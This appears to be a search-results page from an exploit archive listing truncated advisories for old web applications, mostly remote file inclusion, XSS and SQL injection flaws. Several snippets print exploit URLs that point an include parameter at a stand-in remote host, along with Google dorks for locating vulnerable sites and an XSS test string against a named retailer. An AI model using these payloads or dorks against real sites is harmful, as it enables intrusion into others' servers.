5777 matches found
Joomla! Component Webring 1.0 - Remote File Inclusion
C Y BE R - W A R R i O R T I M Joomla Webring Component componentdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: in admin.webring.docs.php, line 12 requireonce $componentdir. "mungdocs.class.php"; Google dork: inurl:comwebring Exploit:...
TinyWebGallery v1.5 ( image ) Remote Include Vulnerability
C Y B E R - W A R R i O R TIM TinyWebGallery v1.5 image Remote Include Vulnerability ------------------------------------------------------------------------ ------ Author: xoron ------------------------------------------------------------------------ ------ Script: TinyWebGallery...
PgMarket <= 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== PgMarket = 2.2.3 CFGlibdir Remote File Inclusion Vulnerability =================================================================== C Y B E R - W A R R i O R T I M PgMarket...
PgMarket 2.2.3 - CFG[libdir] Remote File Inclusion
PgMarket 2.2.3 - CFGlibdir Remote File Inclusion C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit:...
PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion
C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://server/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke, Preddy,...
Visual Events Calendar v1.1 (cfg_dir) Remote Inclusion Vulnerability
title: Visual Events Calendar v1.1 cfgdir Remote Inclusion Vulnerability Author: xoron script: Visual Events Calendar v1.1 Class : Remote cont@ct: x0r0nathotmaildotcom CODE: include $cfgdir."customizetext.php"; Exploit: http://www.site.com/path/calendar.php?cfgdir=http://evilscripts? Thanx :...
docpile:we 0.2.2 - INIT_PATH Remote File Inclusion
docpile:we 0.2.2 - INITPATH Remote File Inclusion TiTLE: docpile:we v0.2.2 INITPATH Remote File Inclusion Vulnerability - Author: xoron - Class : Remote - cont@ct: x0r0nathotmaildotcom - URL: http://docpile-we.berlios.de - Exploit:...
SaveWeb Portal <= 3.4 (SITE_Path) Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications ======================================================================= SaveWeb Portal = 3.4 SITEPath Remote File Inclusion Vulnerabilities ======================================================================= SaveWeb Portal 3.4 - SITEPa...
hotscripts.txt
Hotscripts.com Homepage: http://www.hotscripts.com Effected files: search input box adding a review Editing your profile sending a author a message. Creating a new listing ---------------------------------------- XSS vuln with cookie disclosure in search input box: For a PoC try putting:...
CMS Faethon 1.3.2 - 'mainpath' Remote File Inclusion
\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV33$2006 --------------------------------------------------------------------------- ECHOADV33$2006 CMS Faethon 1.3.2 mainpath Remote File Inclusion...
CVE-2006-2880
Cross-site scripting XSS vulnerability in the Contributed Packages for PyBlosxom 1.2.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the Comments plugin in the 1 url and 2 author fields...
Cross site scripting
Cross-site scripting XSS vulnerability in the Contributed Packages for PyBlosxom 1.2.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the Comments plugin in the 1 url and 2 author fields...
timberland.txt
There's a vulnerability in Timberland's search engine. The variable 'keywords' in searchHandler/index.jsp is not correctly sanitized. URL: hxxp://www.timberland.com/searchHandler/index.jsp?keywords=XSS Code Example: hxxp://www.timberland.com/searchHandler/index.jsp?keywords=alert'test'; Author: O...
ProPublish 2.0 - catid SQL Injection
ProPublish 2.0 - catid SQL Injection ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to soot : http://www.securityfocus.com/archive/1/435787/30/0/threaded Exploited by FarhadKey from kapda.ir Exploit :...
ProPublish 2.0 - 'catid' SQL Injection
ProPublish 2.0 catid Remote SQL Injection Vulnerability Thanks to soot : http://www.securityfocus.com/archive/1/435787/30/0/threaded Exploited by FarhadKey from kapda.ir Exploit :...
phpMyDirectory <= 10.4.4 (ROOT_PATH) Remote Inclusion Vulnerability
No description provided by source. Title : phpMyDirectory = 10.4.4 Remote File Inclusion Vulnerability - URL : http://www.phpmydirectory.com/ - Dork : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com" - Author : OLiBekaS - contact : olibekasatgmail.com - greetz : Renzokuzen,...
phpMyDirectory 10.4.4 - 'ROOT_PATH' Remote File Inclusion
Title : phpMyDirectory = 10.4.4 Remote File Inclusion Vulnerability - URL : http://www.phpmydirectory.com/ - Dork : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com" - Author : OLiBekaS - contact : olibekasatgmail.com - greetz : Renzokuzen, Skulmatic, weleh, brokencode, bigmast...
Sasser Worm ftpd Remote Buffer Overflow Exploit (port 5554)
Exploit for unknown platform in category remote exploits =========================================================== Sasser Worm ftpd Remote Buffer Overflow Exploit port 5554 =========================================================== / / // / / / / \ / / / / / / / // // / // / // //// -...
CVE-2005-4785
Cross-site scripting XSS vulnerability in QuickBlogger 1.4 and earlier allows remote attackers to inject arbitrary web script or HTML via the 1 author "your name" and 2 "comment" section...
ChangeLog-2.6.16.3
commit e2c78fb27dd13ab8c778a9689affe95c92030a32 Author: Greg Kroah-Hartman [email protected] Date: Mon Apr 10 22:27:44 2006 -0700 Linux 2.6.16.3 commit 5494bd6a500cc7c5a502279eabfbdacccd4b89d1 Author: David Howells [email protected] Date: Mon Apr 10 17:01:40 2006 +0000 PATCH Keys: Fix oops when...